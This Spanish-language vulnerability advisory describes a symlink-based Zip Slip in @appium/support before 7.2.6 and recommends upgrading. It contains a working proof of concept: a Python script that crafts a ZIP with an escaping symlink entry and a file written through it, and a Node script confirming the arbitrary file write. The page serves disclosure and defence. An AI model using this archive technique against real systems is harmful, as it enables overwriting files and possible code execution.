Appium: Zip Slip basado en enlaces simbólicos en la extracción de ZIP de @appium/support
Resumen
CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) consistía en una vulnerabilidad clásica de salto de directorio (path traversal) en el nombre de la entrada. La verificación creaba un objeto Error sin lanzarlo con throw, por lo que una entrada llamada literalmente algo como ../evil.txt se escribía fuera del destino. Dicho problema se solucionó en @appium/support 7.0.6 rechazando explícitamente los nombres de entrada no permitidos.
Este hallazgo representa un vector diferente que la corrección en 7.0.6 no cubre. Los nombres de las entradas del archivo aquí son completamente legítimos (por ejemplo pwn y pwn/owned.txt, sin .. en ninguna parte), por lo que cualquier defensa basada en nombres los acepta. La evasión se produce a través de un enlace simbólico (symlink). Una entrada es un enlace simbólico cuyo destino apunta fuera del directorio de extracción, y una entrada posterior es un archivo normal cuyo nombre se resuelve a través de dicho enlace. La validación léxica de nombres no inspecciona el destino del enlace simbólico y el extractor escribe el destino tal cual proviene del archivo, haciendo que el archivo se guarde fuera de la raíz de extracción.
Comparación de ambos problemas en la misma versión parcheada 7.2.5:
| CVE-2026-30973 | Este hallazgo | |
|---|---|---|
| Vector | una entrada cuyo nombre contiene .. |
una entrada de enlace simbólico más un archivo escrito a través de ella |
| Nombres de entrada | contienen .. (no válidos) |
legítimos, sin .. y no absolutos |
| Qué falta | la verificación de nombre de .. no lanzaba error |
las comprobaciones no resuelven symlinks y el destino del symlink no se valida |
| Entradas necesarias | una | dos |
| Corregido en 7.0.6 | sí | no |
| Estado en 7.2.5 | bloqueado | aún explotable (demostrado abajo) |
Detalles
Causa raíz
El extractor solo aplica una comprobación de contención léxica en el propio nombre de cada entrada; luego, en el caso de un symlink, crea el enlace con el destino tomado directamente del archivo comprimido:
// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks
98 throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99 }
...
142 await fs.symlink(link, dest); // link target comes verbatim from the archive
isSubPath compara cadenas normalizadas y no ejecuta realpath. Por lo tanto, para la entrada de archivo pwn/owned.txt, el destino dir/pwn/owned.txt se encuentra léxicamente dentro de dir y la validación pasa, a pesar de que dir/pwn es un enlace simbólico creado por la entrada anterior que apunta fuera de dir. La escritura sigue ese enlace simbólico y escapa del directorio. El destino del enlace simbólico en sí nunca se valida frente al directorio raíz de extracción.
PoC
<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />build_zips.py
#!/usr/bin/env python3
import os, sys, zipfile, shutil
work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)
# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt" # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")
# Test B: symlink entry whose target escapes, then a file through it
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
sl = zipfile.ZipInfo("pwn")
sl.create_system = 3 # unix, so external_attr carries the mode
sl.external_attr = (0o120777 & 0xFFFF) << 16 # S_IFLNK | 0777
z.writestr(sl, escapeB) # symlink target is the file body
fi = zipfile.ZipInfo("pwn/owned.txt")
fi.create_system = 3
fi.external_attr = (0o100644 & 0xFFFF) << 16
z.writestr(fi, "PWNED via symlink Zip Slip\n")
print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))
zipslip_poc.js
'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');
const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;
(async () => {
const ver = require('@appium/support/package.json').version;
console.log(`[*] @appium/support version: ${ver}`);
console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);
// Test A: the CVE-2026-30973 vector
console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
let aBlocked = false;
try {
await support.zip.extractAllTo(zipA, extractA);
} catch (e) {
aBlocked = true;
console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
}
const aEscaped = fs.existsSync(escapeA);
console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);
// Test B: this finding, the symlink bypass
console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
try {
await support.zip.extractAllTo(zipB, extractB);
} catch (e) {
console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
}
const planted = path.join(escapeB, 'owned.txt');
const bEscaped = fs.existsSync(planted);
if (bEscaped) {
console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
console.log(` wrote : ${planted}`);
console.log(` content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
} else {
console.log('[-] symlink vector did not escape');
}
console.log('\n=== SUMMARY (same installed version) ===');
console.log(`A CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
console.log(`B symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
console.error('ERROR', e);
process.exit(3);
});
use
Impacto
Un atacante que controle un archivo que Appium extraiga puede escribir archivos en ubicaciones arbitrarias donde el proceso de Appium tenga permisos de escritura, ya que la escritura sigue el enlace simbólico a cualquier destino especificado en el archivo. Dependiendo de dónde se ejecute Appium, esto permite sobrescribir un archivo de configuración, colocar un script en una ubicación de inicio o de perfil, o reemplazar un binario en el PATH, lo que puede escalar a ejecución de código. En un ejecutor de integración continua o en una granja de dispositivos, las rutas accesibles incluyen cualquier ubicación modificable por la cuenta de servicio.
Qué hacer
Actualice @appium/support a la versión 7.2.6 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @appium/support | < 7.2.6 | 7.2.6 |
Referencias
- https://github.com/appium/appium/security/advisories/GHSA-qfxx-c367-67f8
- https://nvd.nist.gov/vuln/detail/CVE-2026-103975
- https://github.com/appium/appium/pull/22436
- https://github.com/appium/appium/commit/d9eb36f413153e28b04b92d8ce4447da270371c0
- https://github.com/appium/appium
- https://github.com/appium/appium/releases/tag/@appium/support@7.2.6
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N- Debilidad (CWE)
CWE-59- Plataforma
- npm
- Paquete
@appium/support- Publicada
- 15.10.2026
- Actualizado
- 20.10.2026 08:34
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-qfxx-c367-67f8 - CC BY 4.0
Historial de vulnerabilidades: @appium/support
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 2
- Primera → última
- 03.2026 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Media 2
Divulgaciones por año
- 2026: 2
-
Appium: Zip Slip basado en enlaces simbólicos en la extracción de ZIP de @appium/support esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.